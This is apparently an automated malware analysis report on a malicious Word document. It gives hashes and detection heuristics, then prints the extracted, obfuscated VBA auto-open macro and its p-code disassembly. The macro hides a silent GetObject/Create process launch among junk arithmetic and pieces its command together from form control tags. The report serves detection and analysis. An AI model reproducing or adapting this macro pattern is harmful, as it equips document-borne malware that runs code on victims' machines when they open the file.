Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 956b4c5b9f3490d0…

MALICIOUS

Office (OLE)

162.8 KB Created: 2019-03-22 18:08:00 Authoring application: Microsoft Office Word First seen: 2020-07-02
MD5: 2c9994f8b460c9c3d825c705b5dc7f1b SHA-1: f1d28d6fc62546fc0342dad16c87bec2b2420ff2 SHA-256: 956b4c5b9f3490d05301da9a799690d7249d5fdffb55ec5aa84dd107f77e5b6f
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro is present and the 'GetObject' function is called, indicating an attempt to execute code. The ClamAV heuristic also confirms its malicious nature. The primary function of the macro appears to be executing arbitrary code, likely to download and run a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6905404-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6905404-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    End If
Set mQAZBcAw = GetObject(CAUAAD4A.Tag + CAUAAD4A.pAA1AAw + CAUAAD4A.Tag)
   If hDACDAA_ = rBAoAA4 Then
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "TAQZAQ"
Sub autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16253 bytes
SHA-256: 9fa25a8a127d827aa8c0f660680256eb19079681b11f456c72362996d06ce61d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MABX_AA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "CAUAAD4A"
Attribute VB_Base = "0{58BDD7E3-CD44-4BBC-AD4C-5B2C1B4C737F}{D1FCCB9E-8A5A-438C-9695-53A6C7F26411}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "TAQZAQ"
Sub autoopen()
On Error Resume Next
   If WB4kAxxU = jA1BGx Then
   bAAQBBQ = CVar(bcAABGAc)
   XkBAUZ = (361856692 + Rnd(swDGxXD * _
Tan(670207210 / Chr(959094389 / CDbl(BAXAZAUA) * GBwAAA / CDbl(945131424)))) * 5248483 * _
Atn(118102828 / Oct(270103415) - 498705691 * Int(UQA1UA)) * (476513465 - Atn(QQXkCA)))
   FQwQUD = Int(fCAGBUXZ - _
mAkGADDA - 532937956 * Int(463911198))
End If
   If BAAAAA = TwA_AZ Then
   Q_1AxQAB = CVar(iwAQAoQ)
   NZDQ_wAA = (456055239 + Rnd(CAXo4Z * _
Tan(110637946 / Chr(75687518 / CDbl(Ooxo_GA) * wC_AkwwG / CDbl(830735814)))) * 827179447 * _
Atn(745795208 / Oct(609503975) - 989914408 * Int(aUxDAQQA)) * (780105833 - Atn(iAAcBX1Z)))
   dZDADA = Int(NA1AAD - _
k_XAZU_ - 128432854 * Int(636648753))
End If
Set mQAZBcAw = GetObject(CAUAAD4A.Tag + CAUAAD4A.pAA1AAw + CAUAAD4A.Tag)
   If hDACDAA_ = rBAoAA4 Then
   KxADoB = CVar(NkAAAD)
   TAokxGBB = (83831580 + Rnd(VAAG1Bc * _
Tan(729045409 / Chr(745065093 / CDbl(JUAGAAAD) * iAGAAADQ / CDbl(472591411)))) * 780624623 * _
Atn(16730696 / Oct(765002805) - 907106983 * Int(v__UXD)) * (910452953 - Atn(E_BDxwQ)))
   uAAGQB4 = Int(OwcAZB - _
s4UZUAA1 - 817613847 * Int(282481694))
End If
   If zAAAX4 = scUBoD Then
   oAAUAUwQ = CVar(BAUAQA)
   ZAGA4CAA = (325604763 + Rnd(EDBDDA * _
Tan(537209165 / Chr(596191568 / CDbl(LkZAkB) * w_QQD4B / CDbl(134012084)))) * 617179906 * _
Atn(290909337 / Oct(301599142) - 371330800 * Int(YAkU_AA)) * (582876688 - Atn(fAAZAA_)))
   vU1AB1cQ = Int(M1DAAGAk - _
MAD_cA - 325894414 * Int(332664317))
End If
mQAZBcAw.ShowWindow = 520547 - 520547
   If QDQXoA = bAUBQAB Then
   fA_BZAA = CVar(aUQwAA)
   zkAQA_wU = (948186498 + Rnd(jUADcAZ * _
Tan(661997652 / Chr(404270844 / CDbl(XADG1D41) * RcGABA / CDbl(458913573)))) * 808576560 * _
Atn(244440450 / Oct(864696547) - 535289087 * Int(JA_xAAUA)) * (113810590 - Atn(jUAZAo)))
   kA1ADCk = Int(sAU1Qo - _
rAQo4UwA - 572344987 * Int(744573596))
End If
   If I4QAAw = GAUAQ_ Then
   SBAwBAk = CVar(VxGAAUD)
   IAABDQCA = (654080361 + Rnd(ZGAwZAXC * _
Tan(151615336 / Chr(439660132 / CDbl(M_AXAUG) * EGAwAA_ / CDbl(527140049)))) * 249906657 * _
Atn(775947477 / Oct(141053823) - 534070673 * Int(lBAAAQ)) * (165508903 - Atn(oQCD_AA)))
   DXUxBcAA = Int(uGwCQUX - _
tox_A1Q_ - 497083825 * Int(717881341))
End If
   If iAQAABUD = rU1oGD1 Then
   cUBUUX = CVar(NABAA_)
   lUAoCBA = (182176414 + Rnd(l_DAcCx * _
Tan(102860209 / Chr(670300922 / CDbl(tAkAQkGA) * NA1CcB / CDbl(707709011)))) * 212994341 * _
Atn(970779812 / Oct(75768412) - 667968822 * Int(ZkCBAA)) * (307409386 - Atn(ioBA4AA_)))
   qU_XD_xD = Int(k1D_AA44 - _
RBA_4A - 97695298 * Int(628776459))
End If
GetObject(CAUAAD4A.Tag + CAUAAD4A.AkwAokG + CAUAAD4A.Tag). _
Create CAUAAD4A.Tag + CAUAAD4A.l4k_GAcD + CAUAAD4A.Tag + CAUAAD4A.nc_AcAA + CAUAAD4A.Tag + CAUAAD4A.Tag + CAUAAD4A.V_k4AABZ + CAUAAD4A.Tag + CAUAAD4A.Tag + CAUAAD4A.TDQAAkAw + CAUAAD4A.Tag + CAUAAD4A.iBQQDoZG + CAUAAD4A.Tag, jX_ZGUc, mQAZBcAw, CAUAAD4A.Tag
   If zUAB_UQ = iQAAB1Ao Then
   qBGBACQo = CVar(NAQBDcX)
   TDAQxBZA = (965229187 + Rnd(VUG1QA1 * _
Tan(803650193 / Chr(951259717 / CDbl(bD_UBcAo) * sXoUAQ / CDbl(673736416)))) * 999341581 * _
Atn(815677241 / Oct(209115507) - 562706653 * Int(LoDZAQ)) * (669032359 - Atn(D_BB14x)))
   EUAQXAAD = Int(pkADAAA - _
aAAXGD - 123054732 * Int(423442300))
End If
   If ZDUCAADk = DAAAA_Dx Then
   bcAAx_G = CVar(wAAXAZAU)
   i_DBBGUB = (332517160 + Rnd(qAQcwZ1k * _
Tan(949431086 / Chr(336585234 / CDbl(KAUAkDBG) * GAxXkZBA / CDbl(626436199)))) * 348860145 * _
Atn(473304231 / Oct(163722972) - 159739979 * Int(K4cCBkB)) * (639904876 - Atn(ioQAZ_)))
   qAkcxDAB = Int(fAAD4AAA - _
LoQQAAQ4 - 811640534 * Int(354242771))
End If
   If OBAx1_ = MXC_QQ Then
   NA_wAD = CVar(CBX4AUAk)
   cAAAQkw = (513359996 + Rnd(uGA_UkD * _
Tan(934888307 / Chr(971522590 / CDbl(JABcA1) * aAAAkc / CDbl(451307657)))) * 59586995 * _
Atn(623767068 / Oct(373156593) - 351481221 * Int(VQxDwUA)) * (913942960 - Atn(IQ4Do1GQ)))
   VXDDAX = Int(DAB4QU - _
r4QBkXAA - 652419857 * Int(169626869))
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/8f86e25d7b0840b385ff9ea05805133f.bin
' ===============================================================================
' Module streams:
' Macros/VBA/MABX_AA - 1105 bytes
' Macros/VBA/CAUAAD4A - 1158 bytes
' Macros/VBA/TAQZAQ - 7051 bytes
' Line #0:
' 	FuncDefn (Sub TAQZAQ())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld autoopen 
' 	Ld WB4kAxxU 
' 	Eq 
' 	IfBlock 
' Line #3:
' 	Ld bAAQBBQ 
' 	Coerce (Var) 
' 	St jA1BGx 
' Line #4:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x7EB4 0x1591 
' 	Ld XkBAUZ 
' 	LitDI4 0x8CEA 0x27F2 
' 	LitDI4 0x9E75 0x392A 
' 	Ld swDGxXD 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld BAXAZAUA 
' 	Mul 
' 	LitDI4 0x8FA0 0x3855 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x15E3 0x0050 
' 	Mul 
' 	LitDI4 0x1B2C 0x070A 
' 	LitDI4 0x7377 0x1019 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0xA51B 0x1DB9 
' 	Ld GBwAAA 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x04B9 0x1C67 
' 	Ld UQA1UA 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St bcAABGAc 
' Line #5:
' 	LineCont 0x0004 06 00 00 00
' 	Ld FQwQUD 
' 	Ld fCAGBUXZ 
' 	Sub 
' 	LitDI4 0xFCE4 0x1FC3 
' 	LitDI4 0xB91E 0x1BA6 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St QQXkCA 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	Ld mAkGADDA 
' 	Ld BAAAAA 
' 	Eq 
' 	IfBlock 
' Line #8:
' 	Ld Q_1AxQAB 
' 	Coerce (Var) 
' 	St TwA_AZ 
' Line #9:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0xD9C7 0x1B2E 
' 	Ld NZDQ_wAA 
' 	LitDI4 0x337A 0x0698 
' 	LitDI4 0xE65E 0x0482 
' 	Ld CAXo4Z 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld Ooxo_GA 
' 	Mul 
' 	LitDI4 0x05C6 0x3184 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0xC1B7 0x314D 
' 	Mul 
' 	LitDI4 0xEE88 0x2C73 
' 	LitDI4 0x4AE7 0x2454 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0xE528 0x3B00 
' 	Ld wC_AkwwG 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x7869 0x2E7F 
' 	Ld aUxDAQQA 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St iwAQAoQ 
' Line #10:
' 	LineCont 0x0004 06 00 00 00
' 	Ld dZDADA 
' 	Ld NA1AAD 
' 	Sub 
' 	LitDI4 0xBAD6 0x07A7 
' 	LitDI4 0x7D31 0x25F2 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St iAAcBX1Z 
' Line #11:
' 	EndIfBlock 
' Line #12:
' 	SetStmt 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd Tag 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd mQAZBcAw 0x0001 
' 	Set k_XAZU_ 
' Line #13:
' 	Ld pAA1AAw 
' 	Ld hDACDAA_ 
' 	Eq 
' 	IfBlock 
' Line #14:
' 	Ld KxADoB 
' 	Coerce (Var) 
' 	St rBAoAA4 
' Line #15:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x2B1C 0x04FF 
' 	Ld TAokxGBB 
' 	LitDI4 0x59A1 0x2B74 
' 	LitDI4 0xCA85 0x2C68 
' 	Ld VAAG1Bc 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld JUAGAAAD 
' 	Mul 
' 	LitDI4 0x2C33 0x1C2B 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x62EF 0x2E87 
' 	Mul 
' 	LitDI4 0x4A48 0x00FF 
' 	LitDI4 0x0435 0x2D99 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x5AA7 0x3611 
' 	Ld iAGAAADQ 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x68D9 0x3644 
' 	Ld v__UXD 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St NkAAAD 
' Line #16:
' 	LineCont 0x0004 06 00 00 00
' 	Ld uAAGQB4 
' 	Ld OwcAZB 
' 	Sub 
' 	LitDI4 0xCC17 0x30BB 
' 	LitDI4 0x541E 0x10D6 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St E_BDxwQ 
' Line #17:
' 	EndIfBlock 
' Line #18:
' 	Ld s4UZUAA1 
' 	Ld zAAAX4 
' 	Eq 
' 	IfBlock 
' Line #19:
' 	Ld oAAUAUwQ 
' 	Coerce (Var) 
' 	St scUBoD 
' Line #20:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x559B 0x1368 
' 	Ld ZAGA4CAA 
' 	LitDI4 0x294D 0x2005 
' 	LitDI4 0x2950 0x2389 
' 	Ld EDBDDA 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld LkZAkB 
' 	Mul 
' 	LitDI4 0xDCB4 0x07FC 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x6B02 0x24C9 
' 	Mul 
' 	LitDI4 0xEC99 0x1156 
' 	LitDI4 0x09A6 0x11FA 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x0EF0 0x1622 
' 	Ld w_QQD4B 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0xFE10 0x22BD 
' 	Ld YAkU_AA 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St BAUAQA 
' Line #21:
' 	LineCont 0x0004 06 00 00 00
' 	Ld vU1AB1cQ 
' 	Ld M1DAAGAk 
' 	Sub 
' 	LitDI4 0xC10E 0x136C 
' 	LitDI4 0x0DFD 0x13D4 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St fAAZAA_ 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	LitDI4 0xF163 0x0007 
' 	LitDI4 0xF163 0x0007 
' 	Sub 
' 	Ld k_XAZU_ 
' 	MemSt MAD_cA 
' Line #24:
' 	Ld ShowWindow 
' 	Ld QDQXoA 
' 	Eq 
' 	IfBlock 
' Line #25:
' 	Ld fA_BZAA 
' 	Coerce (Var) 
' 	St bAUBQAB 
' Line #26:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x2D82 0x3884 
' 	Ld zkAQA_wU 
' 	LitDI4 0x4854 0x2775 
' 	LitDI4 0xAEFC 0x1818 
' 	Ld jUADcAZ 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld XADG1D41 
' 	Mul 
' 	LitDI4 0x7725 0x1B5A 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0xE630 0x3031 
' 	Mul 
' 	LitDI4 0xDD82 0x0E91 
' 	LitDI4 0x38E3 0x338A 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0xDCFF 0x1FE7 
' 	Ld RcGABA 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x9C9E 0x06C8 
' 	Ld JA_xAAUA 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St aUQwAA 
' Line #27:
' 	LineCont 0x0004 06 00 00 00
' 	Ld kA1ADCk 
' 	Ld sAU1Qo 
' 	Sub 
' 	LitDI4 0x4A9B 0x221D 
' 	LitDI4 0x4A9C 0x2C61 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St jUAZAo 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	Ld rAQo4UwA 
' 	Ld I4QAAw 
' 	Eq 
' 	IfBlock 
' Line #30:
' 	Ld SBAwBAk 
' 	Coerce (Var) 
' 	St GAUAQ_ 
' Line #31:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x7969 0x26FC 
' 	Ld IAABDQCA 
' 	LitDI4 0x7768 0x0909 
' 	LitDI4 0xAE64 0x1A34 
' 	Ld ZGAwZAXC 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld M_AXAUG 
' 	Mul 
' 	LitDI4 0x84D1 0x1F6B 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x45E1 0x0EE5 
' 	Mul 
' 	LitDI4 0x04D5 0x2E40 
' 	LitDI4 0x4F7F 0x0868 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x4591 0x1FD5 
' 	Ld EGAwAA_ 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x7727 0x09DD 
' 	Ld lBAAAQ 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St VxGAAUD 
' Line #32:
' 	LineCont 0x0004 06 00 00 00
' 	Ld DXUxBcAA 
' 	Ld uGwCQUX 
' 	Sub 
' 	LitDI4 0xE5B1 0x1DA0 
' 	LitDI4 0xFFFD 0x2AC9 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St oQCD_AA 
' Line #33:
' 	EndIfBlock 
' Line #34:
' 	Ld tox_A1Q_ 
' 	Ld iAQAABUD 
' 	Eq 
' 	IfBlock 
' Line #35:
' 	Ld cUBUUX 
' 	Coerce (Var) 
' 	St rU1oGD1 
' Line #36:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0xCA9E 0x0ADB 
' 	Ld lUAoCBA 
' 	LitDI4 0x85B1 0x0621 
' 	LitDI4 0xFAFA 0x27F3 
' 	Ld l_DAcCx 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld tAkAQkGA 
' 	Mul 
' 	LitDI4 0xC853 0x2A2E 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x0925 0x0CB2 
' 	Mul 
' 	LitDI4 0xECA4 0x39DC 
' 	LitDI4 0x225C 0x0484 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x6536 0x27D0 
' 	Ld NA1CcB 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0xB1EA 0x1252 
' 	Ld ZkCBAA 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St NABAA_ 
' Line #37:
' 	LineCont 0x0004 06 00 00 00
' 	Ld qU_XD_xD 
' 	Ld k1D_AA44 
' 	Sub 
' 	LitDI4 0xB642 0x05D2 
' 	LitDI4 0x5E0B 0x257A 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St ioBA4AA_ 
' Line #38:
' 	EndIfBlock 
' Line #39:
' 	LineCont 0x0004 0F 00 00 00
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd Create 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd l4k_GAcD 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd nc_AcAA 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd V_k4AABZ 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd TDQAAkAw 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld iBQQDoZG 
' 	Ld k_XAZU_ 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd RBA_4A 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd mQAZBcAw 0x0001 
' 	ArgsMemCall AkwAokG 0x0004 
' Line #40:
' 	Ld jX_ZGUc 
' 	Ld zUAB_UQ 
' 	Eq 
' 	IfBlock 
' Line #41:
' 	Ld qBGBACQo 
' 	Coerce (Var) 
' 	St iQAAB1Ao 
' Line #42:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x3A83 0x3988 
' 	Ld TDAQxBZA 
' 	LitDI4 0xBA91 0x2FE6 
' 	LitDI4 0x1245 0x38B3 
' 	Ld VUG1QA1 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld bD_UBcAo 
' 	Mul 
' 	LitDI4 0x66E0 0x2828 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0xBE0D 0x3B90 
' 	Mul 
' 	LitDI4 0x3F39 0x309E 
' 	LitDI4 0xD973 0x0C76 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x38DD 0x218A 
' 	Ld sXoUAQ 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x9FA7 0x27E0 
' 	Ld LoDZAQ 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St NAQBDcX 
' Line #43:
' 	LineCont 0x0004 06 00 00 00
' 	Ld EUAQXAAD 
' 	Ld pkADAAA 
' 	Sub 
' 	LitDI4 0xAA8C 0x0755 
' 	LitDI4 0x377C 0x193D 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St D_BB14x 
' Line #44:
' 	EndIfBlock 
' Line #45:
' 	Ld aAAXGD 
' 	Ld ZDUCAADk 
' 	Eq 
' 	IfBlock 
' Line #46:
' 	Ld bcAAx_G 
' 	Coerce (Var) 
' 	St DAAAA_Dx 
' Line #47:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0xCF28 0x13D1 
' 	Ld i_DBBGUB 
' 	LitDI4 0x2B2E 0x3897 
' 	LitDI4 0xE212 0x140F 
' 	Ld qAQcwZ1k 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld KAUAkDBG 
' 	Mul 
' 	LitDI4 0xA867 0x2556 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x2EF1 0x14CB 
' 	Mul 
' 	LitDI4 0x0CA7 0x1C36 
' 	LitDI4 0x36DC 0x09C2 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x704B 0x0985 
' 	Ld GAxXkZBA 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x2C6C 0x2624 
' 	Ld K4cCBkB 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St wAAXAZAU 
' Line #48:
' 	LineCont 0x0004 06 00 00 00
' 	Ld qAkcxDAB 
' 	Ld fAAD4AAA 
' 	Sub 
' 	LitDI4 0xA6D6 0x3060 
' 	LitDI4 0x50D3 0x151D 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St ioQAZ_ 
' Line #49:
' 	EndIfBlock 
' Line #50:
' 	Ld LoQQAAQ4 
' 	Ld OBAx1_ 
' 	Eq 
' 	IfBlock 
' Line #51:
' 	Ld NA_wAD 
' 	Coerce (Var) 
' 	St MXC_QQ 
' Line #52:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x407C 0x1E99 
' 	Ld cAAAQkw 
' 	LitDI4 0x4373 0x37B9 
' 	LitDI4 0x421E 0x39E8 
' 	Ld uGA_UkD 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld JABcA1 
' 	Mul 
' 	LitDI4 0x6889 0x1AE6 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x39B3 0x038D 
' 	Mul 
' 	LitDI4 0xEE1C 0x252D 
' 	LitDI4 0xEAF1 0x163D 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x2D85 0x14F3 
' 	Ld aAAAkc 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0xA9B0 0x3679 
' 	Ld VQxDwUA 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St CBX4AUAk 
' Line #53:
' 	LineCont 0x0004 06 00 00 00
' 	Ld VXDDAX 
' 	Ld DAB4QU 
' 	Sub 
' 	LitDI4 0x2311 0x26E3 
' 	LitDI4 0x4CF5 0x0A1C 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St IQ4Do1GQ 
' Line #54:
' 	EndIfBlock 
' Line #55:
' 	EndSub 
' Line #56:

Open this report in the interactive analyzer, or submit your own file for analysis.